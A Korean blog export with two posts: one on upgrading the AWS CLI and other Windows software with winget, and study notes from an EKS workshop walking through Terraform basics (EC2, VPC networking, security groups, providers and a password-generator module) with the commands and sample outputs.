Windows 운영체제를 오래 사용하던 사람이라면 아마도 제어판에서 프로그램을 추가 및 삭제하는 방법이 어느정도 익숙하지 않을까 싶다. "프로그램 추가/제거"라는 이전 이름이 어느 순간 "프로그램 및 기능"으로 변경되었고, 이를 통해 설치된 버전이 무엇인지 살펴보고 변경 및 제거를 할 수가 있다.

 

Windows 11 환경에서 "프로그램 및 기능" 메뉴에서 "AWS" 키워드로 검색한 결과

 

Windows 11 환경에서 "프로그램 및 기능" 메뉴에서 "AWS" 키워드로 검색한 결과, 현재 설치된 AWS CLI 버전은 2.15.9.0임을 확인할 수 있었다. AWS CLI는 AWS 서비스를 명령어를 통해 관리하도록 해주는 CLI 도구로, `aws configure`를 실행하여 Access Key ID, Secret Access Key, 리전 이름 정도만 설정하면 AWS 서비스를 손쉽게 제어할 수가 있다. 설치할 당시에는 공식 홈페이지 (https://aws.amazon.com/ko/cli/)에서 다운로드를 하여 직접 설치를 진행하였는데, 시간이 지나면서 설치된 버전이 최신인지 확인하고, 최신 버전으로 업그레이드하는 과정이 필자에게는 다소 번거롭게 느껴졌다.

Ubuntu에서 사용하던 "sudo apt update && sudo apt upgrade"와 같이 손쉽게 할 수 있다면 얼마나 좋을까?

 

문득 갑자기 이런 궁금증이 들었고, winget이라는 도구가 있다는 잊고 있던 생각이 갑자기 났다. 이를 통해 AWS CLI 버전을 최신으로 업그레이드를 진행한 경험을 블로그를 통해 적고자 한다.

 

1. winget 소개 & 설치

winget은 Windows 10 이상에서 사용 가능한 패키지 관리 도구로, 다양한 소프트웨어를 손쉽게 설치, 업그레이드, 제거할 수 있다. CLI 명령어를 통해 소프트웨어 관리를 자동화할 수도 있겠다. Microsoft Store에서 앱 설치 관리자를 직접 검색하여 설치하거나, 또는 https://apps.microsoft.com/detail/9nblggh4nns1?rtc=1&hl=ko-kr&gl=KR#activetab=pivot:overviewtab URL로 접속하여 "설치" 버튼을 클릭하여 설치할 수 있다.

 

winget: 앱 설치 관리자를 Microsoft Store에서 설치하기

 

2. winget 기본 명령어

winget을 사용하는 기본적인 방법은 apt와 많이 유사하다. 필자는 여전히 "sudo apt update && sudo apt upgrade" 명령어가 익숙한데, winget에서는 update와 upgrade 명령어가 동일하다는 점을 참고하자 (정확히는 update가 upgrade에 대한 alias로 구성되어 있다). 자세한 도움말은 https://aka.ms/winget-command-help 를 통해 확인할 수 있으며, 또는 국내 Microsoft 권순만 MVP께서 정리하신 블로그 글 (URL: https://blog.naver.com/hakunamata2/223366445380 )을 참고해도 좋겠다.

winget vs. apt (많이 유사해보이지 않나요?!)

 

3. AWS CLI 설치하기

AWS 공식 문서 (URL: https://docs.aws.amazon.com/ko_kr/cli/latest/userguide/getting-started-install.html)에는 MSI 설치 프로그램을 다운로드하여 실행하는 방법을 안내하고 있으며, winget으로도 손쉽게 설치가 가능하다. 커뮤니티를 통해 운영이 이루어지는 https://winget.run 사이트에서 AWS CLI 설치 명령어가 잘 안내되어 있다. 다만 본 블로그를 작성하는 시점에 AWS CLI 최신 버전은 2.16.5인데 반해, 해당 사이트에서는 AWS CLI 최신 버전이 2.11.2라고 언급되어 있다. 해당 사이트에서는 최신 정보를 포함하고 있지 않을 수도 있음을 꼭 참고하자.

https://winget.run/pkg/Amazon/AWSCLI 에서 안내하는 AWS CLI 설치 방법 (주의: 최신 버전 정보를 포함하지 않는 것 같습니다)

 

4. AWS CLI 최신 버전으로 업그레이드 및 관리하기

만약 본인처럼 이미 기존 AWS CLI 버전이 설치되지 않았다면 위 3번에서 소개하는 install 옵션을 사용하여 바로 최신 버전으로 설치할 수가 있다. 사실 다음과 같이 단순하게 설치 명령어를 실행하여 최신 버전을 다운로드하여 설치할 수 있다.

 

> winget install Amazon.AWSCLI

 

설치된 AWS CLI 버전을 확인하기 위해서는 AWS CLI를 "--version" 옵션과 함께 다음과 같이 직접 실행하면 된다.

> aws --version
aws-cli/2.15.9 Python/3.11.6 Windows/10 exe/AMD64 prompt/off

 

또 다른 방법으로는 Ubuntu에서 "apt list | grep AWS"와 같이 실행하는 것과 같이 PowerShell에서는 다음과 같은 명령어를 통해 확인할 수도 있겠다. 이 방법은 현재 설치된 버전이 2.15.9.0이며, 최신 설치 가능한 버전이 2.16.4라는 정보까지를 같이 알 수가 있다는 장점이 있다.

> winget list | Select-String -Pattern AWS

Freedom Scientific JAWS 2024            FreedomScientific.JAWS.2024              2024.2310.70.400     2024.240??winget
Freedom Scientific JAWS Training Table??{AE1E7553-752E-4D04-9695-EE1FB83C54AE}   25.0.2005.0
AWS Command Line Interface v2           Amazon.AWSCLI                            2.15.9.0             2.16.4    winget

 

최신 버전으로 업데이트하기 위해서는 다음과 같이 명령어를 실행한다.

> winget upgrade Amazon.AWSCLI

 

 

최신 버전이 정말 설치되었는지 확인 완료까지 해보았다!

> aws --version
aws-cli/2.16.4 Python/3.11.8 Windows/10 exe/AMD64

 

제거하는 방법은 다음과 같다.

> winget uninstall Amazon.AWSCLI

 

이렇게 특정 패키지를 winget 명령어를 통해 설치, 업그레이드, 제거까지 손쉽게 하는 방법에 대해 알아보았다.

5. winget 명령어로 여러 패키지 업그레이드하기

사실 원래는 AWS CLI 툴 자체를 업그레이드하는 목적보다는 이전에 https://github.com/ianychoi/aws-ecs-fargate-dotnet-module3-supplementary 와 같은 내용을 준비하면서 "Build Tools for Visual Studio 2019"가 설치되었던 것 같은데, 해당 패키지를 포함해 AWS CLI 등 여러 버전들을 각각 다운로드받아 최신 버전으로 설치하기가 번거롭다보니 winget을 사용하면 어떨까하는 생각이 들었고 "winget upgrade" 명령어를 통해 손쉽게 최신 버전으로 업데이트를 진행할 수 있었다. "winget upgrade" 를 실행하면 업그레이드 가능한 모든 프로그램들이 나온다. 필자의 경우 이전에 영상 자막을 직접 관리하고자 사용했던 Vrew 프로그램이 오래 되었고, Bandizip, GIMP 등도 업그레이드하지 않던 상황을 손쉽게 확인할 수 있었다. 모든 것을 업그레이드하려면 "winget upgrade --all" 명령어를 사용하면 되겠지만, 꼭 모든 소프트웨어를 업그이드할 필요는 없겠다. 필자의 경우 GIMP를 굳이 최신으로 꼭 업그레이드가 필요한가 싶어 다음과 같이 3개 소프트웨어만 업데이트를 진행하였다.

"winget upgrade"를 실행한 결과 (일부)
3개 패키지에 대해 명시적으로 업그레이드하기

 

 

이와 같이 winget을 사용해 AWS CLI를 설치, 업그레이드, 제거하는 방법을 살펴보았다. 설치된 소프트웨어를 최신 버전으로 유지함으로써 최신 기능을 활용할 뿐만 아니라 보안 취약점을 방지할 수 있으므로, 정기적으로 업그레이드를 확인하는 것이 좋은데 winget을 통해 AWS CLI 뿐만 아니라 설치된 여러 소프트웨어의 설치된 버전 및 최신 버전을 손쉽게 확인하고 명령어를 통해 쉽게 업그레이드가 가능한 장점을 잘 활용해보았으면 한다.

본 게시물은 CloudNet@에서 진행하는 AEWS (Amazon EKS Workshop Study) 스터디에 참여하며 정리한 내용입니다.

 

어느덧 AEWS 마지막 스터디 파트에 왔다. 인프라를 코드라는 관점에서 바라보고 관리한다는 Infrastructure as Code를 줄여 부르는 IaC를 EKS에 적용하는 부분에 대한 스터디이다. 이 스터디에서는 Terraform을 사용한다.

 

Terraform은 Hashicorp 회사에서 공개한 오픈 소스로, 2023년 8월 경에 MPL (Mozilla Public License)에서 BSL (Business Source License)로 변경이 이루어졌다 (관련 정보: Hashicorp 홈페이지 - License FAQ 영문 사이트 링크). HashiCorp Configuration Language에 따라 인프라를 코드 형태로 작성하면 계획 (plan) 후 적용 (apply)하는 방식으로 동작이 이루어진다.

 

Terraform 동작 과정 그림 (출처: Hashicorp 홈페이지 - https://developer.hashicorp.com/terraform/intro )

 

0. 실습 환경 배포 & 소개

WSL2에서 동작하는 Ubuntu 20.04 LTS 환경에서 실습을 진행하였다. 

wget -O- https://apt.releases.hashicorp.com/gpg | sudo gpg --dearmor -o /usr/share/keyrings/hashicorp-archive-keyring.gpg
echo "deb [signed-by=/usr/share/keyrings/hashicorp-archive-keyring.gpg] https://apt.releases.hashicorp.com $(lsb_release -cs) main" | sudo tee /etc/apt/sources.list.d/hashicorp.list
sudo apt update && sudo apt install terraform

# 테라폼 버전 정보 확인
terraform version

 

추가로 AWS CLI, eksctl, kubectl, Helm을 아래 각 링크를 참고하여 설치한다.

실습에 편리한 툴 중에서 jq 도 설치해보았다. macOS에서는 watch, tree 등을 brew로 설치하는 것도 좋다고 한다.

# Linux
sudo apt install -y tree jq

 

또한 아래 명령어를 실행하였을 때 VPC ID가 출력되는지 확인해본다.

aws ec2 describe-vpcs --filter 'Name=isDefault,Values=true' | jq '.Vpcs[0].VpcId'

 

만약 VPC ID가 출력되지 않는다면 아래 명령어를 실행하여 default VPC를 생성한다.

# default VPC를 생성
aws ec2 create-default-vpc

# default Subnet 생성
aws ec2 create-default-subnet --availability-zone ap-northeast-2a
aws ec2 create-default-subnet --availability-zone ap-northeast-2b
aws ec2 create-default-subnet --availability-zone ap-northeast-2c
aws ec2 create-default-subnet --availability-zone ap-northeast-2d

 

그리고 Visual Studio Code (줄여서 VSCode) 를 사용하는데, 이 때 본인은 WSL 환경에서 실습을 하고 있으므로, VSCode가 WSL 환경을 인지해야 한다. 이 부분은 WSL이라는 확장팩 설치 및 왼쪽 하단을 클릭하여 "Connect to WSL"을 실행하여 연결이 되어야 한다는 점을 참고하자.

 

또한 HashiCorp HCLHashiCorp Terraform 확장을 설치하자.

1. Terraform 기본 사용

1.1. Terraform 기본 환경 및 사용해보기

 

먼저 아래와 같이 기본 환경을 준비해보자.

mkdir learn-terraform
cd learn-terraform
touch main.tf

 

그리고 Amazon Linux 2 최신 ami id를 찾아 AL2ID 환경변수에 저장해두자. "ami-0217b147346e48e84" 값을 얻을 수 있었다.

#aws ec2 describe-images --owners self amazon
aws ec2 describe-images --owners self amazon --query 'Images[*].[ImageId]' --output text
aws ec2 describe-images --owners amazon --filters "Name=name,Values=amzn2-ami-hvm-2.0.*-x86_64-gp2" "Name=state,Values=available"
aws ec2 describe-images --owners amazon --filters "Name=name,Values=amzn2-ami-hvm-2.0.*-x86_64-gp2" "Name=state,Values=available" --query 'Images|sort_by(@, &CreationDate)[-1].[ImageId, Name]' --output text
ami-0217b147346e48e84	amzn2-ami-hvm-2.0.20240412.0-x86_64-gp2

aws ec2 describe-images --owners amazon --filters "Name=name,Values=amzn2-ami-hvm-2.0.*-x86_64-gp2" "Name=state,Values=available" --query 'Images|sort_by(@, &CreationDate)[-1].[ImageId]' --output text
ami-0217b147346e48e84

AL2ID=`aws ec2 describe-images --owners amazon --filters "Name=name,Values=amzn2-ami-hvm-2.0.*-x86_64-gp2" "Name=state,Values=available" --query 'Images|sort_by(@, &CreationDate)[-1].[ImageId]' --output text`
echo $AL2ID

 

또한 EC2가 생성이 되는지 모니터링을 하는 명령어를 별도 터미널로 실행해두도록 하자.

# [터미널1] EC2 생성 모니터링
export AWS_PAGER=""
while true; do aws ec2 describe-instances --query "Reservations[*].Instances[*].{PublicIPAdd:PublicIpAddress,InstanceName:Tags[?Key=='Name']|[0].Value,Status:State.Name}" --filters Name=instance-state-name,Values=running --output text ; echo "------------------------------" ; sleep 1; done

 

 

테라폼 코드를 작성해보자. 아래 코드를 보면 provider와 resource 영역으로 나뉘어 있는데, provider는 Terraform으로 정의할 Infrastructure Provider를 의미하고, resource는 실제로 생성할 인프라 자원을 의미한다.

 

cat <<EOT > main.tf
provider "aws" {
  region = "ap-northeast-2"
}

resource "aws_instance" "example" {
  ami           = "$AL2ID"
  instance_type = "t2.micro"
}
EOT

 

이제 배포와 실행을 해 보도록 하자.

 

# 초기화
terraform init
ls -al
tree .terraform

# plan 확인
terraform plan

# apply 실행
terraform apply
 Enter a value: yes 입력

# ec2 생성 확인 : aws 웹 관리 콘솔에서도 확인 - 서울 리전 선택
export AWS_PAGER=""
aws ec2 describe-instances --output table

# 테라폼 정보 확인
terraform state list
terraform show
terraform show aws_instance.example

 

 

이번에는 태그 정보를 수정하고 적용해보자.

cat <<EOT > main.tf
provider "aws" {
  region = "ap-northeast-2"
}

resource "aws_instance" "example" {
  ami           = "$AL2ID"
  instance_type = "t2.micro"

  tags = {
    Name = "aews-study"
  }

}
EOT

 

# plan 실행 시 아래와 같은 정보가 출력
terraform plan
# aws_instance.example will be updated in-place
  ~ resource "aws_instance" "example" {
        id                                   = "i-0fe5acad038030055"
      ~ tags                                 = {
          + "Name" = "aews-study"
        }
      ~ tags_all                             = {
          + "Name" = "aews-study"
        }
        # (38 unchanged attributes hidden)

        # (8 unchanged blocks hidden)
    }

Plan: 0 to add, 1 to change, 0 to destroy.

# apply 실행
terraform apply
 Enter a value: yes 입력

# 모니터링 : [터미널1]에 Name 확인

 

 

실습을 완료하였으면 리소스를 삭제하자.

 

# 리소스 삭제
terraform destroy
 Enter a value: yes 입력

혹은
terraform destroy -auto-approve

 

1.2. HCL 및 프로바이더, 변수 및 우선 순위 이해하기

그리고 Terraform을 잘 쓰기 위해서는 HCL에 대해 잘 이해하고 활용할 필요가 있겠다. https://github.com/hashicorp/hcl 또는 관련 내용을 찾아보고 충분히 학습하도록 하자.

 

몇 가지 실습을 더 해보았다. 프로바이더 버전을 과하게 높게 설정해보니 해당 프로바이더 버전을 찾을 수 없다는 오류를 확인할 수 있었다.

 

terraform {
  required_version = ">= 1.0.0"
  required_providers {
    local = {
      source  = "hashicorp/local"
      version = ">=10000.0.0"
    }
  }
}

resource "local_file" "abc" {
  content  = "123!"
  filename = "${path.module}/abc.txt"
}

 

 

" >= 2.0.0"으로 수정한 이후 제대로 동작하는 결과를 확인할 수 있었다.

 

이와 같이 프로바이더, 리소스, 종속성, 리소스 속성 참조, 데이터 소스 구성, 데이터 소스 속성 참조, 변수 선언 방식 및 사용 등을 추가로 실습하여 확인해보았다.

 

그리고 변수 입력 방식과 우선순위도 스터디를 진행하였다. 변수를 선언하는 방식에 따라 변수 우선 순위가 있으므로 이를 적절히 사용한다면 로컬 환경과 빌드 서버 환경에서의 정의를 다르게 하거나, 프로비저닝 파이프라인을 구성하는 경우 외부 값을 변수에 저장할 수가 있다.

(출처: https://spacelift.io/blog/terraform-tfvars )

 

1.3. Terraform으로 AWS 네트워크 및 EC2 리소스 관리하기

이렇게 여러 가지 Terraform 기본을 살펴보았다면, 그 다음으로는 AWS에서 VPC 및 서브넷 등 상관관계가 있는 리소스에 대한 생성 및 관리를 Terraform에서 어떻게 이루어지는지 실습을 통해 확인해보는 과정을 진행하였다.

 

먼저 vpc.tf 라는 파일을 생성하여 배포해보자.

provider "aws" {
  region  = "ap-northeast-2"
}

resource "aws_vpc" "myvpc" {
  cidr_block       = "10.10.0.0/16"

  tags = {
    Name = "aews-study"
  }
}

 

# 배포
terraform init && terraform plan && terraform apply -auto-approve
terraform state list
terraform state show aws_vpc.myvpc

# VPC 확인
export AWS_PAGER=""
aws ec2 describe-vpcs | jq
aws ec2 describe-vpcs --filter 'Name=isDefault,Values=false' | jq
aws ec2 describe-vpcs --filter 'Name=isDefault,Values=false' --output yaml

 

그 다음에는 VPC DNS 옵션을 수정한 후 배포를 해보자. 아래 코드에서 7번째 및 8번째 줄이 추가된 것이다.

provider "aws" {
  region  = "ap-northeast-2"
}

resource "aws_vpc" "myvpc" {
  cidr_block       = "10.10.0.0/16"
  enable_dns_support   = true
  enable_dns_hostnames = true

  tags = {
    Name = "aews-study"
  }
}

 

배포 이전

# 배포
terraform plan && terraform apply -auto-approve

 

배포 이후, DNS hostnames 및 DNS resolution 부분이 enabled 상태로 바뀐 것을 확인할 수 있다.

 

그 다음으로는 서브넷을 2개 추가해보자.

provider "aws" {
  region  = "ap-northeast-2"
}

resource "aws_vpc" "myvpc" {
  cidr_block       = "10.10.0.0/16"
  enable_dns_support   = true
  enable_dns_hostnames = true

  tags = {
    Name = "aews-study"
  }
}

resource "aws_subnet" "mysubnet1" {
  vpc_id     = aws_vpc.myvpc.id
  cidr_block = "10.10.1.0/24"

  availability_zone = "ap-northeast-2a"

  tags = {
    Name = "t101-subnet1"
  }
}

resource "aws_subnet" "mysubnet2" {
  vpc_id     = aws_vpc.myvpc.id
  cidr_block = "10.10.2.0/24"

  availability_zone = "ap-northeast-2c"

  tags = {
    Name = "aews-subnet2"
  }
}

output "aws_vpc_id" {
  value = aws_vpc.myvpc.id
}

 

# 배포
terraform plan && terraform apply -auto-approve
terraform state list
aws_subnet.mysubnet1
aws_subnet.mysubnet2
aws_vpc.myvpc

terraform state show aws_subnet.mysubnet1

terraform output
terraform output aws_vpc_id
terraform output -raw aws_vpc_id

# graph 확인 > graph.dot 파일 선택 후 오른쪽 상단 DOT 클릭
terraform graph > graph.dot

# 서브넷 확인
aws ec2 describe-subnets --output text

# 참고 : aws ec2 describe-subnets --filters "Name=vpc-id,Values=vpc-<자신의 VPC ID>"
VPCID=$(terraform output -raw aws_vpc_id)
aws ec2 describe-subnets --filters "Name=vpc-id,Values=$VPCID" | jq
aws ec2 describe-subnets --filters "Name=vpc-id,Values=$VPCID" --output table

 

graph.dot 과 같이 생성되는 파일은 Graphviz Interactive Preview와 같은 VSCode extension 을 설치하면 아래 스크린샷과 같이 그래프 그림 형태로 확인할 수 있다.

 

그 다음에는 vpc.tf 코드 내용을 수정하여 IGW 인터넷 게이트웨이를 추가해보자.

provider "aws" {
  region  = "ap-northeast-2"
}

resource "aws_vpc" "myvpc" {
  cidr_block       = "10.10.0.0/16"
  enable_dns_support   = true
  enable_dns_hostnames = true

  tags = {
    Name = "aews-study"
  }
}

resource "aws_subnet" "mysubnet1" {
  vpc_id     = aws_vpc.myvpc.id
  cidr_block = "10.10.1.0/24"

  availability_zone = "ap-northeast-2a"

  tags = {
    Name = "aews-subnet1"
  }
}

resource "aws_subnet" "mysubnet2" {
  vpc_id     = aws_vpc.myvpc.id
  cidr_block = "10.10.2.0/24"

  availability_zone = "ap-northeast-2c"

  tags = {
    Name = "aews-subnet2"
  }
}


resource "aws_internet_gateway" "myigw" {
  vpc_id = aws_vpc.myvpc.id

  tags = {
    Name = "aews-igw"
  }
}

output "aws_vpc_id" {
  value = aws_vpc.myvpc.id
}

 

# 배포
terraform plan && terraform apply -auto-approve
terraform state list
aws_internet_gateway.myigw
aws_subnet.mysubnet1
aws_subnet.mysubnet2
aws_vpc.myvpc

 

그 다음에는 vpc.tf 코드를 수정하여 IGW 인터넷 게이트웨이로 전달하는 디폴트 라우팅 정보를 추가하자.

provider "aws" {
  region  = "ap-northeast-2"
}

resource "aws_vpc" "myvpc" {
  cidr_block       = "10.10.0.0/16"
  enable_dns_support   = true
  enable_dns_hostnames = true

  tags = {
    Name = "aews-study"
  }
}

resource "aws_subnet" "mysubnet1" {
  vpc_id     = aws_vpc.myvpc.id
  cidr_block = "10.10.1.0/24"

  availability_zone = "ap-northeast-2a"

  tags = {
    Name = "aews-subnet1"
  }
}

resource "aws_subnet" "mysubnet2" {
  vpc_id     = aws_vpc.myvpc.id
  cidr_block = "10.10.2.0/24"

  availability_zone = "ap-northeast-2c"

  tags = {
    Name = "aews-subnet2"
  }
}


resource "aws_internet_gateway" "myigw" {
  vpc_id = aws_vpc.myvpc.id

  tags = {
    Name = "aews-igw"
  }
}

resource "aws_route_table" "myrt" {
  vpc_id = aws_vpc.myvpc.id

  tags = {
    Name = "aews-rt"
  }
}

resource "aws_route_table_association" "myrtassociation1" {
  subnet_id      = aws_subnet.mysubnet1.id
  route_table_id = aws_route_table.myrt.id
}

resource "aws_route_table_association" "myrtassociation2" {
  subnet_id      = aws_subnet.mysubnet2.id
  route_table_id = aws_route_table.myrt.id
}

resource "aws_route" "mydefaultroute" {
  route_table_id         = aws_route_table.myrt.id
  destination_cidr_block = "0.0.0.0/0"
  gateway_id             = aws_internet_gateway.myigw.id
}

output "aws_vpc_id" {
  value = aws_vpc.myvpc.id
}

 

# 배포
terraform plan && terraform apply -auto-approve
terraform state list
aws_internet_gateway.myigw
aws_route.mydefaultroute
aws_route_table.myrt
aws_route_table_association.myrtassociation1
aws_route_table_association.myrtassociation2
aws_subnet.mysubnet1
aws_subnet.mysubnet2
aws_vpc.myvpc

terraform state show aws_route.mydefaultroute

# graph 확인 > graph.dot 파일 선택 후 오른쪽 상단 DOT 클릭
terraform graph > graph.dot

# 라우팅 테이블 확인
#aws ec2 describe-route-tables --filters 'Name=tag:Name,Values=aews-rt' --query 'RouteTables[].Associations[].SubnetId'
aws ec2 describe-route-tables --filters 'Name=tag:Name,Values=aews-rt' --output table

 

그 다음에는 보안 그룹과 EC2 배포를 위한 sg.tf, ec2.tf 파일을 생성한다.

 

- sg.tf 파일 내용:

resource "aws_security_group" "mysg" {
  vpc_id      = aws_vpc.myvpc.id
  name        = "AEWS SG"
  description = "AEWS Study SG"
}

resource "aws_security_group_rule" "mysginbound" {
  type              = "ingress"
  from_port         = 80
  to_port           = 80
  protocol          = "tcp"
  cidr_blocks       = ["0.0.0.0/0"]
  security_group_id = aws_security_group.mysg.id
}

resource "aws_security_group_rule" "mysgoutbound" {
  type              = "egress"
  from_port         = 0
  to_port           = 0
  protocol          = "-1"
  cidr_blocks       = ["0.0.0.0/0"]
  security_group_id = aws_security_group.mysg.id
}

 

# 배포
ls *.tf
terraform plan && terraform apply -auto-approve
terraform state list
aws_security_group.mysg
aws_security_group_rule.mysginbound
aws_security_group_rule.mysgoutbound
...

terraform state show aws_security_group.mysg
terraform state show aws_security_group_rule.mysginbound

# graph 확인 > graph.dot 파일 선택 후 오른쪽 상단 DOT 클릭
terraform graph > graph.dot

 

- ec2.tf 파일 내용:

data "aws_ami" "my_amazonlinux2" {
  most_recent = true
  filter {
    name   = "owner-alias"
    values = ["amazon"]
  }

  filter {
    name   = "name"
    values = ["amzn2-ami-hvm-*-x86_64-ebs"]
  }

  owners = ["amazon"]
}

resource "aws_instance" "myec2" {

  depends_on = [
    aws_internet_gateway.myigw
  ]

  ami                         = data.aws_ami.my_amazonlinux2.id
  associate_public_ip_address = true
  instance_type               = "t2.micro"
  vpc_security_group_ids      = ["${aws_security_group.mysg.id}"]
  subnet_id                   = aws_subnet.mysubnet1.id

  user_data = <<-EOF
              #!/bin/bash
              wget https://busybox.net/downloads/binaries/1.31.0-defconfig-multiarch-musl/busybox-x86_64
              mv busybox-x86_64 busybox
              chmod +x busybox
              echo "Web Server</h1>" > index.html
              nohup ./busybox httpd -f -p 80 &
              EOF

  user_data_replace_on_change = true

  tags = {
    Name = "aews-myec2"
  }
}

output "myec2_public_ip" {
  value       = aws_instance.myec2.public_ip
  description = "The public IP of the Instance"
}

 

# 
ls *.tf
terraform plan && terraform apply -auto-approve
terraform state list
data.aws_ami.my_amazonlinux2
aws_instance.myec2
...

terraform state show data.aws_ami.my_amazonlinux2
terraform state show aws_instance.myec2

# 데이터소스 값 확인
terraform console
> 
data.aws_ami.my_amazonlinux2.id
"ami-0972fbae82d8513f6"
data.aws_ami.my_amazonlinux2.image_id
data.aws_ami.my_amazonlinux2.name
data.aws_ami.my_amazonlinux2.owners
data.aws_ami.my_amazonlinux2.platform_details
data.aws_ami.my_amazonlinux2.hypervisor
data.aws_ami.my_amazonlinux2.architecture
exit

# graph 확인 > graph.dot 파일 선택 후 오른쪽 상단 DOT 클릭
terraform graph > graph.dot

# 출력된 EC2 퍼블릭IP로 cul 접속 확인
terraform output -raw myec2_public_ip
43.203.247.218

MYIP=$(terraform output -raw myec2_public_ip)
while true; do curl --connect-timeout 1  http://$MYIP/ ; echo "------------------------------"; date; sleep 1; done

 

 

AWS 리소스에 대한 의존성은 다음과 같다.

 

이와 같이 AWS EC2 리소스와 Security Group, 그리고 관련한 네트워크 리소스에 대한 전반적인 의존성을 확보하면서 Terraform으로 생성해보는 실습을 진행하였다. 실습을 다 진행한 후에는 리소스 삭제를 꼭 하자.

 

terraform destroy -auto-approve

 

1.4. 프로바이더 활용하기 - Tier

Terraform는 프로바이더에 대한 Tier (Official, Partner, Community) 가 있다. https://registry.terraform.io/browse/providers 에서는 Official은 Hashicorp에서 직접 유지보수를 하는 Tier, Partner는 기술 파트너를 통해 유지보수가 이루어지는 Tier, Community는 Hashicorp 커뮤니티 생태계를 통해 퍼블리싱 및 유지보수가 이루어진다고 한다.

 

Terraform - Provider Tiers (출처: https://registry.terraform.io/browse/providers )

 

https://registry.terraform.io/providers/hashicorp/aws/latest 링크를 통해 aws provider 버전을 확인해보았다. 현재 5.47.0으로 Hashicorp에서 직접 유지보수하는 Official Tier에 해당하였다.

 

1.5. 프로바이더 활용 및 모듈화

Terraform에서 프로바이더를 잘 활용하기 위한 내용으로 다음을 살펴보았다.

 

  • 로컬 이름과 프로바이더 지정: 같은 이름에 해당하는 프로바이더에 대해 다른 로컬 이름을 부여하여 사용할 수 있다.  다음은 동일한 http 접두사를 사용하는 다수 프로바이더를 적용하는 예시이다.
terraform {
  required_providers {
    architech-http = {
      source = "architect-team/http"
      version = "~> 3.0"
    }
    http = {
      source = "hashicorp/http"
    }
    aws-http = {
      source = "terraform-aws-modules/http"
    }
  }
}

data "http" "example" {
  provider = aws-http
  url = "https://checkpoint-api.hashicorp.com/v1/check/terraform"

  request_headers = {
    Accept = "application/json"
  }
}

 

  • 단일 프로바이더의 다중 정의: 동일한 프로바이더를 사용하지만 다른 조건을 갖는 경우, 사용되는 리소스마다 별도로 선언된 프로바이더를 지정해야 하는 경우가 있다. 아래 예제는 리전을 다르게 구성한 AWS 프로바이더를 aws_instance에 지정하는 방법이다.
provider "aws" {
  region = "ap-southeast-1"
}

provider "aws" {
  alias = "seoul"
  region = "ap-northeast-2"
}

resource "aws_instance" "app_server1" {
  ami           = "ami-06b79cf2aee0d5c92"
  instance_type = "t2.micro"
}

resource "aws_instance" "app_server2" {
  provider      = aws.seoul
  ami           = "ami-0ea4d4b8dc1e46212"
  instance_type = "t2.micro"
}

 

#
terraform init && terraform plan
terraform apply -auto-approve

#
terraform state list
echo "aws_instance.app_server1.public_ip" | terraform console
echo "aws_instance.app_server2.public_ip" | terraform console
aws ec2 describe-instances --filters Name=instance-state-name,Values=running --output table
aws ec2 describe-instances --filters Name=instance-state-name,Values=running --output table --region ap-southeast-1

# 삭제
terraform destroy -auto-approve

 

  • 프로바이더 요구사항 정의: 프로바이더 요구사항은 terraform 블록의 required_providers 블록에 여러 개를 정의할 수 있다. 다음과 같은 형식으로 요구사항 정의 블록을 사용하며, 호스트 주소, 네임스페이스, 유형 파트를 참고하자.
terraform {
  required_providers {
    <프로바이더 로컬 이름> = {
      source = [<호스트 주소>/]<네임스페이스>/<유형>
      version = <버전 제약>
    }
    ...
  }
}

1.5. 모듈

시간이 지날수록 구성이 복잡해지고 관리하는 리소스가 늘어나게 되기에 모듈화를 통해 관리하는 것이 좋다. 하나의 프로비저닝에서 사용자와 패스워드를 여러 번 구성해야 하는 경우를 가상의 시나리오로 삼아 모듈화를 진행하는 실습을 진행해보았다.

  • random_pet는 이름을 자동으로 생성하고, random_password는 사용자의 패스워드를 설정한다 - random_pet
  • random_password는 random 프로바이더 리소스로 난수 형태로 패스워드를 만들 수 있다.

먼저 terraform-random-pwgen 모듈을 만들어보자. 디렉터리를 하나 새로 만들고 06-module-traning/modules/terraform-random-pwgen/main.tf variable.tf output.tf 파일을 만든다.

 

mkdir -p 06-module-traning/modules/terraform-random-pwgen

 

# main.tf
resource "random_pet" "name" {
  keepers = {
    ami_id = timestamp()
  }
}

resource "random_password" "password" {
  length           = var.isDB ? 16 : 10
  special          = var.isDB ? true : false
  override_special = "!#$%*?"
}
# variable.tf
variable "isDB" {
  type        = bool
  default     = false
  description = "패스워드 대상의 DB 여부"
}
# output.tf
output "id" {
  value = random_pet.name.id
}

output "pw" {
  value = nonsensitive(random_password.password.result) 
}

 

#
cd 06-module-traning/modules/terraform-random-pwgen

#
ls *.tf
terraform init && terraform plan

# 테스트를 위해 apply 시 변수 지정
terraform apply -auto-approve -var=isDB=true
Apply complete! Resources: 2 added, 0 changed, 0 destroyed.
Outputs:
id = "knowing-aardvark"
pw = "Y5eeP0i2KLLE9gBa"

# 확인
terraform state list
terraform state show random_pet.name
terraform state show random_password.password

# graph 확인
terraform graph > graph.dot

 

 

자식 모듈 호출을 실습해본다. 다수 리소스를 같은 목적으로 여러 번 반복해서 사용하려면 리소스 수만큼 반복해 구성 파일을 정의해야 하고 이름도 고유하게 설정해줘야 하는 부담이 있지만, 모듈을 활용하면 반복되는 리소스 묶음을 최소화할 수 있다.

 

mkdir -p 06-module-traning/06-01-basic

 

# 06-01-basic/main.tf

module "mypw1" {
  source = "../modules/terraform-random-pwgen"
}

module "mypw2" {
  source = "../modules/terraform-random-pwgen"
  isDB   = true
}

output "mypw1" {
  value  = module.mypw1
}

output "mypw2" {
  value  = module.mypw2
}

 

#
cd 06-module-traning/06-01-basic

#
terraform init && terraform plan && terraform apply -auto-approve
Apply complete! Resources: 2 added, 0 changed, 0 destroyed.
Outputs:
mypw1 = {
  "id" = "on-mammal"
  "pw" = "3EzelOixyR"
}
mypw2 = {
  "id" = "brave-bull"
  "pw" = "KS%jBcA*dpI$p6*0"
}

# 확인
terraform state list

# tfstate에 모듈 정보 확인
cat terraform.tfstate | grep module

# terraform init 시 생성되는 modules.json 파일 확인
tree .terraform
.terraform
├── modules
│   └── modules.json
...

## 모듈로 묶여진 리소스는 module이라는 정의를 통해 단순하게 재활용하고 반복 사용할 수 있다.
## 모듈의 결과 참조 형식은 module.<모듈 이름>.<output 이름>으로 정의된다.
cat .terraform/modules/modules.json | jq
{
  "Modules": [
    {
      "Key": "",
      "Source": "",
      "Dir": "."
    },
    {
      "Key": "mypw1",
      "Source": "../modules/terraform-random-pwgen",
      "Dir": "../modules/terraform-random-pwgen"
    },
    {
      "Key": "mypw2",
      "Source": "../modules/terraform-random-pwgen",
      "Dir": "../modules/terraform-random-pwgen"
    }
  ]
}

# graph 확인
